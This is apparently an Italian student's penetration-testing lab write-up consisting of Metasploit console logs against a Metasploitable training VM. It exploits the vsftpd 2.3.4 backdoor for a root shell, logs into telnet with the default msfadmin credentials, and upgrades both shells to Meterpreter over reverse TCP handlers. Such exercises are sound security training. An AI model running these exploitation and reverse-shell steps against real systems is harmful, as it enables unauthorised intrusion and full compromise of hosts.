ESERCIZIO S7L1

```
View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > RHOSTS 192.168.20.10
[-] Unknown command: RHOSTS. Did you mean hosts? Run the help command for more details.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.20.10
RHOSTS ⇒ 192.168.20.10
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.20.10:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.20.10:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.20.10:21 - The port used by the backdoor bind listener is already open
[+] 192.168.20.10:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.20.12:33341 → 192.168.20.10:6200) at 2026-01-20 12:16:07 -0500

^Z
Background session 1? [y/N]  y
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.20.12:4433
[*] Sending stage (1062760 bytes) to 192.168.20.10
[*] Meterpreter session 2 opened (192.168.20.12:4433 → 192.168.20.10:46577) at 2026-01-20 12:16:49 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
msf exploit(unix/ftp/vsftpd_234_backdoor) >
[*] Stopping exploit/multi/handler
sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root
meterpreter > pwd
/
meterpreter > mkdir test_metasploit
Creating directory: test_metasploit
meterpreter >
```

ESERCIZIO S7L2

```
       =[ metasploit v6.4.103-dev                         ]
+ -- --=[ 2,584 exploits - 1,319 auxiliary - 1,697 payloads     ]
+ -- --=[ 434 post - 49 encoders - 14 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as


View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_version) > use set RHOSTS 192.168.20.10
[-] No results from search
[-] Failed to load module: set
msf auxiliary(scanner/telnet/telnet_version) > set USERNAME msfadmin, set PASSWORD msfadmin
USERNAME => msfadmin, set PASSWORD msfadmin
msf auxiliary(scanner/telnet/telnet_version) > run
[-] Msf::OptionValidateError One or more options failed to validate: RHOSTS.
msf auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.20.10
RHOSTS => 192.168.20.10
msf auxiliary(scanner/telnet/telnet_version) > set username msfadmin
username => msfadmin
msf auxiliary(scanner/telnet/telnet_version) > set password msfadmin
password => msfadmin
msf auxiliary(scanner/telnet/telnet_version) > run
[+] 192.168.20.10:23      - 192.168.20.10:23 TELNET _ ... \x0a ... \x0a| ... \x0a
 __/ _` | '_ \| |/ _ \ __) |\x0a| ... \x0a|_| ... |\x0a
                    \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.25/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 192.168.20.10:23      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_version) >
```

```
Module options (auxiliary/scanner/telnet/telnet_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   CreateSession     true             no        Create a new session for every successful login
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT             23               yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts


View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_login) > set rhosts 192.168.20.10
rhosts => 192.168.20.10
msf auxiliary(scanner/telnet/telnet_login) > set username msfadmin
username => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set password msfadmin
password => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set stop_on_success true
stop_on_success => true
msf auxiliary(scanner/telnet/telnet_login) > run
[+] 192.168.20.10:23      - 192.168.20.10:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.20.10:23      - Attempting to start session 192.168.20.10:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.20.12:39591 -> 192.168.20.10:23) at 2026-01-20 12:45:32 -0500
[*] 192.168.20.10:23      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > session -l
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf auxiliary(scanner/telnet/telnet_login) > sessions -I

Active sessions
===============

  Id  Name  Type    Information                                Connection
  --  ----  ----    -----------                                ----------
  1         shell   TELNET msfadmin:msfadmin (192.168.20.10:23)  192.168.20.12:39591 -> 192.168.20.10:23 (192.168.20.10)
```

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1...


msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N]  y
msf auxiliary(scanner/telnet/telnet_login) > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on


View the full module info with the info, or info -d command.

msf post(multi/manage/shell_to_meterpreter) > set lhost 192.168.20.11
lhost => 192.168.20.11
msf post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf post(multi/manage/shell_to_meterpreter) > run
[!] SESSION may not be compatible with this module:
[!]  * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.20.11:4433
[*] Sending stage (1062760 bytes) to 192.168.20.10
[*] Meterpreter session 2 opened (192.168.20.11:4433 -> 192.168.20.10:45685) at 2026-01-20 12:48:59 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > session sessions -I
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf post(multi/manage/shell_to_meterpreter) > session -I
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf post(multi/manage/shell_to_meterpreter) > sessions -I

Active sessions
===============

  Id  Name  Type                   Information                                  Connection
  --  ----  ----                   -----------                                  ----------
  1         shell                  TELNET msfadmin:msfadmin (192.168.20.10:23)  192.168.20.12:39591 -> 192.168.20.10:23 (192.168.20.10)
  2         meterpreter x86/linux  msfadmin @ metasploitable.localdomain        192.168.20.11:4433 -> 192.168.20.10:45685 (192.168.20.10)

msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
```